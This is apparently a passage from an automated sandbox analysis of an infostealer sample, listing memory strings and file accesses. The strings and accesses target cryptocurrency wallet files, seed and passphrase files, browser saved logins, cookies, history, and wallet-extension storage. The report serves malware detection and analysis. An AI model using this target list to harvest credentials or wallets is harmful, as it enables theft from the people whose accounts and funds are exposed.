Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2057596576.0000000000AC7000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
